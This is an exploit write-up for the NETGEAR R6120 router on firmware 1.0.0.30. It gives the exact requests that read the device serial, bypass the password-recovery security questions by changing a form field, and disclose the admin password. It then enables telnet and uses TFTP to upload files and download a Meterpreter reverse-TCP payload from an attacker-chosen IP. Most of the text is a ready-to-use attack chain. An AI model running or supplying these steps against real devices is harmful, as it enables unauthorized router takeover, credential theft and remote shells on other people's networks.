NETGEAR WiFi Router R6120 Credential Disclosure

`# Exploit Title: NETGEAR WiFi Router R6120 - Credential Disclosure  
# Date: 2018-10-28  
# Exploit Author: Wadeek  
# Hardware Version: R6120  
# Firmware Version: 1.0.0.30  
# Vendor Homepage: https://www.netgear.com/support/product/R6120.aspx  
# Firmware Link: http://www.downloads.netgear.com/files/GDC/R6120/R6120-V1.0.0.30.zip  
  
# == Files Containing Juicy Info ==  
>> http://192.168.1.1:56688/rootDesc.xml (Server: Unspecified, UPnP/1.0, Unspecified)  
<serialNumber>SSSSSSSNNNNNN</serialNumber>  
  
# == Security Questions Bypass > Password Disclosure ==  
>> http://192.168.1.1/401_recovery.htm (SSSSSSSNNNNNN value for input)  
<POST REQUEST>  
htpwd_recovery.cgi?id=XXXXXXXXXXXXXXX (one attempt because /tmp/SessionFile.*.htm)  
(replace)  
dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=securityquestions.htm&SID=  
(by)  
dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=passwordrecovered.htm&SID=  
<POST RESPONSE>  
">You have successfully recovered the admin password.</span>  
">Router Admin Username</span>:&nbsp;admin</td>  
">Router Admin Password</span>:&nbsp;Str0ng+-Passw0rd</td>  
  
# == Authenticated Telnet Command Execution ==  
>> http://admin:[email protected]/setup.cgi?todo=debug  
:~$ telnet 192.168.1.1  
R6120 login: admin  
Password: Str0ng+-Passw0rd  
{  
upload by TFTP # tftp -p -r [LOCAL-FILENAME] [IP] [PORT]  
download by TFTP # tftp -g -r [REMOTE-FILENAME_ELF_32-bit_LSB_executable_MIPS || linux/mipsle/meterpreter/reverse_tcp] [IP] [PORT]  
}  
  
  
`